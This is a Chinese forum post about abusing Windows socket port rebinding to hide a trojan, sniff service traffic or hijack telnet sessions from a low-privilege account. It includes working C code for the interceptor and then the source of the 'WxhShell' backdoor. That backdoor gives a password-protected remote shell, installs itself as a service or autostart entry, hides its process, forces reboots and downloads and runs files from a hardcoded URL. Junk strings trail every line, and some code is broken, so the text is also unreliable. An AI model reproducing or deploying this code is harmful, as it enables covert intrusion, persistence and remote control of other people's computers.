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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #<20vdc  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jX5lwP Q|F  
0?3Ztdlb  
  saddr.sin_family = AF_INET; >'4Bq*5>  
%xE\IRlR  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Vk/CV2  
mAkR<\?iTF  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .!T]sX_P  
R9X* R3nB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,&S:(b[D  
+Z0@z^6\  
  这意味着什么?意味着可以进行如下的攻击: )jbYWR *&  
<X}@afS  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 L4I1nl  
f)x^s$H  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;h> s=D,r  
(P {o9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 x/Pi#Xm  
1df }gG  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  nlaJ  
E5.3wOE  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 LyM"  
2 fp\s5%J}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 WyH2` xxX  
"71@WLlN  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,6Ulj+l  
Y_n^6 ;  
  #include d&n&_>  
  #include g3@Qn?(j!  
  #include /P bN!r<1  
  #include    {7!WtH;-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )En*5-1  
  int main() ]r;-Lx{F  
  { Gj]*_"T  
  WORD wVersionRequested; z-*/jFE  
  DWORD ret; .Cfi/  
  WSADATA wsaData; %jKbRiz1u  
  BOOL val; $qk2!  
  SOCKADDR_IN saddr; c?;~ Z  
  SOCKADDR_IN scaddr; }ie\-V  
  int err; k 9 Xi|Yj  
  SOCKET s; ml$"C  
  SOCKET sc; 5\Sm^t|Tx  
  int caddsize; @Y":DHF5q  
  HANDLE mt; %k(V 2]WF  
  DWORD tid;   AL%H$I  
  wVersionRequested = MAKEWORD( 2, 2 ); :K{!@=o  
  err = WSAStartup( wVersionRequested, &wsaData ); =ja(;uC  
  if ( err != 0 ) { >gqM|-uY  
  printf("error!WSAStartup failed!\n"); MM8r*T4g/  
  return -1; .JIn(  
  } X PnN"Y"y  
  saddr.sin_family = AF_INET; .^BL7  
   Y#Pl)sRr  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 C FY3D|  
1PLxc)LsG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); < &[=,R0 @  
  saddr.sin_port = htons(23); FZTBvdUYp  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *I 7$\0Q  
  { dx{ZG'@aH  
  printf("error!socket failed!\n"); HY[eo/nM1d  
  return -1; {U?UM  
  } 1DPgiIG~  
  val = TRUE; KTX;x2r  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 NLZTIZCK  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) uXPvl5(Y?  
  { kWs"v6B  
  printf("error!setsockopt failed!\n"); ;2X/)sxWz  
  return -1; h^#K4/  
  } yZJR7+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wmh[yYWc  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :|i jCg+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 umV5Y`  
_l}"gUtiw  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cX'&J_T+  
  { VHhW_ya1g{  
  ret=GetLastError(); _:|/4.]`_  
  printf("error!bind failed!\n"); \Q[u?/TF  
  return -1; @&!HMl  
  } ,<]X0;~oB  
  listen(s,2); {bB;TO<b`  
  while(1) NYb eIfL  
  { 4#H~g @  
  caddsize = sizeof(scaddr); K1c@]]y)  
  //接受连接请求 TqURYnNd  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @ m14x}H  
  if(sc!=INVALID_SOCKET) ki`7S  
  { "Xq.b"N{*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); M5DW!^  
  if(mt==NULL) yj!4L&A  
  { W ~sP7&sp  
  printf("Thread Creat Failed!\n"); 595P04  
  break; J6}J/  
  } KrNu7/H  
  } (vHB`@x  
  CloseHandle(mt);  Qx,jUL#2  
  } Dk&@AjJga  
  closesocket(s); ?`%7Y~  
  WSACleanup(); >*v!2=  
  return 0; :BFecS&i5  
  }    =lIG#{`Q  
  DWORD WINAPI ClientThread(LPVOID lpParam) r@;n \  
  { @ %LrpD  
  SOCKET ss = (SOCKET)lpParam; 0_7A <   
  SOCKET sc; 6BT o%  
  unsigned char buf[4096]; bL>J0LWQ  
  SOCKADDR_IN saddr; k!Y7 Rc{"  
  long num; D,Ft*(|T  
  DWORD val; zX+NhTTB  
  DWORD ret; ~5e)h_y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >q{E9.~b  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   AN ;SRl  
  saddr.sin_family = AF_INET; .H,v7L,~88  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); uzA"+cV5  
  saddr.sin_port = htons(23); U2  0@B`<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I@x^`^+l  
  { Cnp\2Fu/  
  printf("error!socket failed!\n"); fz H$`X'M  
  return -1; 8RS=Xemds  
  } 1^<R2x  
  val = 100; We]mm3M3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NijvFT$V1  
  { ~Dsz9  f  
  ret = GetLastError(); ,U9gg-.Lp  
  return -1; RLkP)+t  
  } +m Plid\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) md8r"  
  { %hcn|-" F  
  ret = GetLastError(); oZ% rzLH  
  return -1; KtWn08D!  
  } 5(F @KeH>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) e$krA!zN  
  { :_R[@?c  
  printf("error!socket connect failed!\n"); X.)caF^j  
  closesocket(sc); fh rS7f'Zd  
  closesocket(ss); pJ*x[y  
  return -1; }[a  
  }  c=? =u  
  while(1) saMv.;s 1^  
  { a#i;*J  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ":t'} Eg=6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Sl@$  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 n_}=G RR  
  num = recv(ss,buf,4096,0); E3bS Q  
  if(num>0) 35 /)S@  
  send(sc,buf,num,0); [gK (x%  
  else if(num==0) ~V,~' W  
  break; D@5Ud)_  
  num = recv(sc,buf,4096,0); ,dhSc<:LT  
  if(num>0) tBSHMz  
  send(ss,buf,num,0); @I{v  
  else if(num==0) }*4K{<02  
  break; G,+-}~$_  
  } U j5%06  
  closesocket(ss); :{za[,  
  closesocket(sc); .<Y7,9;YEF  
  return 0 ; 1k&**!S]%  
  } qcYF&  
y%* hHnGd  
YKF5|;}  
==========================================================  WW5AD$P*  
e C\;n  
下边附上一个代码,,WXhSHELL 2%0J/]n\A"  
PGTi-o}  
========================================================== ` drds  
p$r=jF&  
#include "stdafx.h" -[\+~aDH,  
DIx!Sw7EC  
#include <stdio.h> i"eUacBz/-  
#include <string.h> Y*!J +A#  
#include <windows.h> j<+Q Gd%  
#include <winsock2.h> &DnX6%2  
#include <winsvc.h> RLuA^ONI  
#include <urlmon.h> JO*}\Es  
,Jqi J?,4C  
#pragma comment (lib, "Ws2_32.lib") n)]]g3y2  
#pragma comment (lib, "urlmon.lib") <PCa37  
#SNwSx&  
#define MAX_USER   100 // 最大客户端连接数 oqu; D'8  
#define BUF_SOCK   200 // sock buffer k%UE^  
#define KEY_BUFF   255 // 输入 buffer ]xhZJ~"@u  
!JZ)6mtlr  
#define REBOOT     0   // 重启 (of=hzT^?  
#define SHUTDOWN   1   // 关机 v;=F $3  
6y;R1z b  
#define DEF_PORT   5000 // 监听端口 bUR; d78  
"P4#Q_  
#define REG_LEN     16   // 注册表键长度 \UKr|[P  
#define SVC_LEN     80   // NT服务名长度 Jzqv6A3G  
*AEN  
// 从dll定义API CxyL'k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4~;x(e@S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @m*^v\q<u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J!l/!Z>!cF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }= )  
zCOzBL/1q  
// wxhshell配置信息 g\%vkK&I  
struct WSCFG { nP9zTa  
  int ws_port;         // 监听端口 ,MH9e!  
  char ws_passstr[REG_LEN]; // 口令 9 U6cM-p?  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1+P&O4>  
  char ws_regname[REG_LEN]; // 注册表键名 9~AAdD  
  char ws_svcname[REG_LEN]; // 服务名 kB41{Y -  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Yo`#G-]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lLq9)+HGN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7m{YWR0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KHK|Zu#k '  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $9_yD&&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zqd_^  
h/T^+U?-<  
}; <+0TN]?  
~Q  q0  
// default Wxhshell configuration *{}Y :  
struct WSCFG wscfg={DEF_PORT, K,pQ11J  
    "xuhuanlingzhe", Q?e]N I^  
    1, xMck A<E  
    "Wxhshell", 9rO,h|L   
    "Wxhshell", 8Ja't8  
            "WxhShell Service", D;~c`G "f  
    "Wrsky Windows CmdShell Service", 4d\1W?i-  
    "Please Input Your Password: ", FQc8j:'  
  1, u ##.t  
  "http://www.wrsky.com/wxhshell.exe", 5W UM"eBwL  
  "Wxhshell.exe" -b?yzg, 8  
    }; vjfV??XSU  
FH"u9ygF  
// 消息定义模块 &y164xn'h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s\7]"3:wD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; UOi[#L@N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y81B3`@  
char *msg_ws_ext="\n\rExit."; zUw=e}?:  
char *msg_ws_end="\n\rQuit."; e MX?x7  
char *msg_ws_boot="\n\rReboot..."; XeGtge/}T  
char *msg_ws_poff="\n\rShutdown..."; })zYo 7  
char *msg_ws_down="\n\rSave to "; Hchh2  
KW1 7CJ@  
char *msg_ws_err="\n\rErr!"; bf9LR1  
char *msg_ws_ok="\n\rOK!"; "mBX$t'gb  
a@>P?N~LA9  
char ExeFile[MAX_PATH]; -F&4<\=+  
int nUser = 0; 1 uKWvp0\  
HANDLE handles[MAX_USER]; '?WKKYD7N  
int OsIsNt; jHP6d =  
Fo$kD(  
SERVICE_STATUS       serviceStatus; O!Rw? Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fT:a{  
BQWe8D  
// 函数声明 .{pc5eUf  
int Install(void); :$=r^LSH  
int Uninstall(void);  4[\[Ho  
int DownloadFile(char *sURL, SOCKET wsh); @wzzI 7}C  
int Boot(int flag); u0Nag=cU  
void HideProc(void); H<hFA(M  
int GetOsVer(void); U{^~X_?  
int Wxhshell(SOCKET wsl); G)vq+L5%  
void TalkWithClient(void *cs); ;r**`O  
int CmdShell(SOCKET sock); ,-55*Rbi  
int StartFromService(void); !|SVRaS  
int StartWxhshell(LPSTR lpCmdLine); 7'pmW,;  
n/>^!S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @k"Q e&BQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :Adx7!6  
,};UD  W  
// 数据结构和表定义 Pz=x$aY  
SERVICE_TABLE_ENTRY DispatchTable[] = U$-;^=;  
{ yA74Rxl*6  
{wscfg.ws_svcname, NTServiceMain}, 9GH11B_A  
{NULL, NULL} u{Z 4M3U  
}; f{m,?[1C,  
Kbdjd p  
// 自我安装 ?9F_E+!  
int Install(void) \( S69@f  
{ g$z9 (i+  
  char svExeFile[MAX_PATH]; V l,V  
  HKEY key; 6`O,mpPu4G  
  strcpy(svExeFile,ExeFile); wv\K  
3!b $R?kZ  
// 如果是win9x系统,修改注册表设为自启动 $/s"It  
if(!OsIsNt) { 2L1y4nnbwo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CyR`&u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6w7;  
  RegCloseKey(key); Nna.NU1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /^AH/,p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B;ek a[xU  
  RegCloseKey(key); 7JGc9K+Av  
  return 0; ppRmC,0f^  
    } g5@JA^\vZT  
  } 4WvW11q8U  
} @>Yd6C  
else { R1X'}#mU  
.*x:  
// 如果是NT以上系统,安装为系统服务  >9!J?HA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mFF4qbe  
if (schSCManager!=0) ^T!Zz"/:  
{ ,_u7@Ix  
  SC_HANDLE schService = CreateService  I8?  
  ( .p! DVQ"a  
  schSCManager, YK)m6zW5  
  wscfg.ws_svcname, gMI%!Y  
  wscfg.ws_svcdisp, "G [Nb:,CR  
  SERVICE_ALL_ACCESS, wHbkF#[:i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w2.] 3QAZ  
  SERVICE_AUTO_START, .qSDe+A  
  SERVICE_ERROR_NORMAL, M !'d  
  svExeFile, _K9`o^g%PJ  
  NULL, u-t=M]  
  NULL, -}%J3j|R:  
  NULL, J)YlG*  
  NULL, FL' }~il  
  NULL 9$\s v5  
  ); g8N"-j&@  
  if (schService!=0) :oZ<[#p"*  
  { aO(PVS|P  
  CloseServiceHandle(schService); IFTNr2I  
  CloseServiceHandle(schSCManager); 20V~?xs~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); = g{I`u  
  strcat(svExeFile,wscfg.ws_svcname); %PYO9:n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :s_> y_=g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t`z"=S  
  RegCloseKey(key); j**[[  
  return 0; 4C=W~6~  
    } 6^gp /{  
  } #"4ioTL2  
  CloseServiceHandle(schSCManager); FB[b]+t`D{  
} LG&BWs!  
} rJ Jx8)M  
Cjf[]aNJe`  
return 1; ByY2KJ7  
} RqTO3Kf  
Jj\4P1|'7  
// 自我卸载 H7X-\K 1w  
int Uninstall(void) $\BYN=#  
{ Rlewp8?LB  
  HKEY key; !:|*!  
?gMx  
if(!OsIsNt) { `f>!/Zm%9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q-w# !<L.  
  RegDeleteValue(key,wscfg.ws_regname); X} k;(rb  
  RegCloseKey(key); V O:4wC"7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R'v~:wNTNs  
  RegDeleteValue(key,wscfg.ws_regname); &IQ=M.!r  
  RegCloseKey(key); uI-T]N:W8x  
  return 0; P+j=]Yg  
  } }*6BaB  
} =IC.FT}  
} KQPu9f9  
else { @PvO;]]%  
o^@"eG$,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'GJB9i+a^  
if (schSCManager!=0) [h3xW  
{ h9Far8}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !kE5]<H\  
  if (schService!=0) P$obID  
  { cX-M9Cz  
  if(DeleteService(schService)!=0) { N]+6<  
  CloseServiceHandle(schService); '3b\d:hN  
  CloseServiceHandle(schSCManager); wD9K\%jIr!  
  return 0; N_c44[z 1  
  } M1kA-Xr  
  CloseServiceHandle(schService); {]Zan'{PCO  
  } 5.6tVr  
  CloseServiceHandle(schSCManager); (!nkv^]  
} yNns6  
} -$Z1X_~;)<  
!rUP&DA  
return 1; l53i {o  
} >_?i)%+)  
TwkT|Piw S  
// 从指定url下载文件 &!8 WRJ  
int DownloadFile(char *sURL, SOCKET wsh) |q w0:c=7!  
{ #3rS{4[  
  HRESULT hr; V9oBSP'kt  
char seps[]= "/"; GY]P(NU  
char *token; RM|J |R  
char *file; tY)L^.*7  
char myURL[MAX_PATH]; kZw"a*6  
char myFILE[MAX_PATH]; C^ )Imr  
AY/.vyS  
strcpy(myURL,sURL); vXDs/,`r  
  token=strtok(myURL,seps); :lB*kmg  
  while(token!=NULL) x0<;Rm [u=  
  { .#yg=t1C  
    file=token; EsGu#lD2  
  token=strtok(NULL,seps); O@Aazc5K  
  } &ys>z<Z  
Q>{$Aqc,e  
GetCurrentDirectory(MAX_PATH,myFILE); c|?(>  
strcat(myFILE, "\\"); ~tp]a]yV  
strcat(myFILE, file); $f =`fPo  
  send(wsh,myFILE,strlen(myFILE),0); ]@$^Ju,  
send(wsh,"...",3,0); rwq   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e S8(HI6{^  
  if(hr==S_OK) 59Pc:Gg;  
return 0; R0-0  
else bB_LL  
return 1; Jp=qPG|  
?J:w,,4m  
} <[db)r~c  
 vywB{%p  
// 系统电源模块 ZexC3LD"  
int Boot(int flag) cI2Ps3~"Q  
{ o+1 (N#?m9  
  HANDLE hToken; R:~aX,qR  
  TOKEN_PRIVILEGES tkp; A 6S0dX  
='m$ O  
  if(OsIsNt) { /z-rBfdy^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S8#0Vo$)a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9\_s&p=:.  
    tkp.PrivilegeCount = 1; _EMI%P& s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g Q\.|'%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GeR#B;{  
if(flag==REBOOT) { ?Q]&;5o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GY$Rkg6d  
  return 0; FSEf0@O:  
} W>pe-  
else { JqzoF}WH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rRe5Q  
  return 0; f-F=!^.  
} +fVvH  
  } 1bV G%N  
  else { D :@W*,  
if(flag==REBOOT) { #`SAc`:n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f+ r>ur}\)  
  return 0; _BewaI;w  
} wo`.sB&T  
else { 8:TX9`,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7:UeE~ uB:  
  return 0; d7V/#34  
} s 4`-mIa  
} lO-DXbgql$  
xv]z>4@z,  
return 1; [7@blU  
} /]U$OP*0  
,l>w9?0Z  
// win9x进程隐藏模块 E'WXi!>7p  
void HideProc(void) MJ:c";KCq0  
{ zVE" 6  
mE<_oRM)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kZ% AGc  
  if ( hKernel != NULL ) iV{_?f1jo  
  { .V;,6Vq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 45JL{YRN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *Dg@fxCQ  
    FreeLibrary(hKernel); Wg}KQ6 6  
  } 9 /H~hEVK  
s-CAo~,  
return; iWt%Boyi  
} [(n5-#1S  
Q,NnB{R  
// 获取操作系统版本 \Tz|COG5h\  
int GetOsVer(void) q'jOI_b  
{ ei= 4u'  
  OSVERSIONINFO winfo; j3sz"(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (pELd(*Ga  
  GetVersionEx(&winfo); u#ya 8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gT8(LDJ  
  return 1; )q<VZ|V  
  else WM+8<|)n  
  return 0; ^2'Y=g>  
} Y][12{I{  
LW<Lg N"L-  
// 客户端句柄模块 V6merT79  
int Wxhshell(SOCKET wsl) ci;2XLAM  
{ mP^B2"|q  
  SOCKET wsh; #eJfwc1JY  
  struct sockaddr_in client; ?xaUWD  
  DWORD myID; ;2kQ)Bq"  
2VV>?s  
  while(nUser<MAX_USER) (XOz_K6c%K  
{ iF`_-t/k  
  int nSize=sizeof(client); a?-Jj\q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m'2F#{  
  if(wsh==INVALID_SOCKET) return 1; Ft>B% -;  
 hlVC+%8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b()8l'x_|K  
if(handles[nUser]==0) wiI@DJ>E  
  closesocket(wsh); | lLe^FM  
else a#1r'z~]}  
  nUser++; KGJSGvo+y  
  } KF7w{A){  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'ON/WKJr|W  
le5@WG/x  
  return 0; ;W{z"L;nX  
} 5j`sJvq  
8$-MUF,  
// 关闭 socket 6Jgl"Jw8  
void CloseIt(SOCKET wsh) j"jssbu}  
{ 0Px Hf*  
closesocket(wsh); s $(%]~P  
nUser--; S\Z*7j3;M  
ExitThread(0); S[L@8z.Sj  
} 4<s;xSCL  
\gP?uJ  
// 客户端请求句柄 +vZYuEq_  
void TalkWithClient(void *cs) 4b}p[9k  
{ `6rLd>=R  
0/~p1SSun  
  SOCKET wsh=(SOCKET)cs; [ &Wy $  
  char pwd[SVC_LEN]; #Shy^58$  
  char cmd[KEY_BUFF]; jO"/5 x26  
char chr[1]; +/&rO,Ql  
int i,j; @C-dCC?  
}<G a e5  
  while (nUser < MAX_USER) { VY/r2o#  
kg Bkwp  
if(wscfg.ws_passstr) { I e!KIU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nWelM2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }'<Z&NW6  
  //ZeroMemory(pwd,KEY_BUFF); moM'RO,M  
      i=0; K14.!m  
  while(i<SVC_LEN) { +Vg(2Xt  
bN?*p($/  
  // 设置超时 L@MCB-@V  
  fd_set FdRead; k8E2?kbF  
  struct timeval TimeOut; uhq6dhhR  
  FD_ZERO(&FdRead); 9ZOQNN<ex  
  FD_SET(wsh,&FdRead); _ (b4|hJ'  
  TimeOut.tv_sec=8; Wda?$3!^q  
  TimeOut.tv_usec=0; /;_$:`|/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g,E)F90  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v0r:qku  
C=c&.-Nb9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J*g<]P&p0  
  pwd=chr[0]; CMC p7- v  
  if(chr[0]==0xd || chr[0]==0xa) { GGHMpQ   
  pwd=0; |%4nU#GoB  
  break; h(2{+Y+  
  } Gad&3M0r  
  i++; []\-*{^r  
    } ]UO zz1   
MeD/)T{G~  
  // 如果是非法用户,关闭 socket ft8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ++2a xRl  
} -0(+a$P7e  
{(-TWh7V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *)r_Y|vg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :SFf}  
x^3K=l;N  
while(1) { }f> 81[^  
aQhT*OT{Q  
  ZeroMemory(cmd,KEY_BUFF); f[zKA{R  
,9|7{j|u  
      // 自动支持客户端 telnet标准   v 'L"sgW6I  
  j=0; d;%~\+)x4  
  while(j<KEY_BUFF) { (|W6p%(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lS;S:- -F  
  cmd[j]=chr[0]; \U]<HEc^  
  if(chr[0]==0xa || chr[0]==0xd) { [HXd|,~_j-  
  cmd[j]=0; 2wU,k(F_  
  break; }`whg8 fZ  
  } 'o]}vyz;  
  j++; l7ES*==&@0  
    } cmf*BkS  
O,@QGUoA  
  // 下载文件 F[ ^ p~u{  
  if(strstr(cmd,"http://")) { *[nS*D\:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }8.$)&O$^  
  if(DownloadFile(cmd,wsh)) L-W*h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _58&^:/^  
  else w#(E+s~}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9MRe?  
  } {KqW<X6Hp  
  else { ld~*w  
5k_%%><: q  
    switch(cmd[0]) { K(mzt[n(  
  C/"Wh=h6  
  // 帮助 ORo +]9)Yv  
  case '?': { tchpO3u,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MoC/xF&  
    break; NnZ_x>R  
  } :v-,-3AG  
  // 安装 mX SLH'  
  case 'i': { bxz6 >>  
    if(Install()) tG,xG&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YcaLc_pUx  
    else _#UhXXD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z<"\I60Fe  
    break; U,/9fzgd  
    } ;hDIoSz  
  // 卸载 $>~4RXC  
  case 'r': { mpCKF=KL.  
    if(Uninstall()) mnMY)-6C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #|xj*+)H  
    else ]=^NTm,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nRZ T~S4  
    break; b|Ed@C  
    } p t{/|P  
  // 显示 wxhshell 所在路径 5geZ6]|  
  case 'p': { q|;+Wp?  
    char svExeFile[MAX_PATH]; 5[qx5|O  
    strcpy(svExeFile,"\n\r"); fwyz|>H_Y(  
      strcat(svExeFile,ExeFile); `4]-B@ 7_  
        send(wsh,svExeFile,strlen(svExeFile),0); Yi"jj;!^S  
    break; D/zp_9B  
    } =dC5q{  
  // 重启 1K$8F ~%Z  
  case 'b': { 47/YD y%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `WU"*HqW  
    if(Boot(REBOOT)) 1lUY27MF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z2V_nkI  
    else { hzk]kM/OC  
    closesocket(wsh); iGeuO[ ^  
    ExitThread(0); F[|aDj@q e  
    } |w^nCsv  
    break; l< |)LD q~  
    } r+l3J>:K  
  // 关机 q(@hYp#O"3  
  case 'd': { i3y>@$fRL\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'v3> "b  
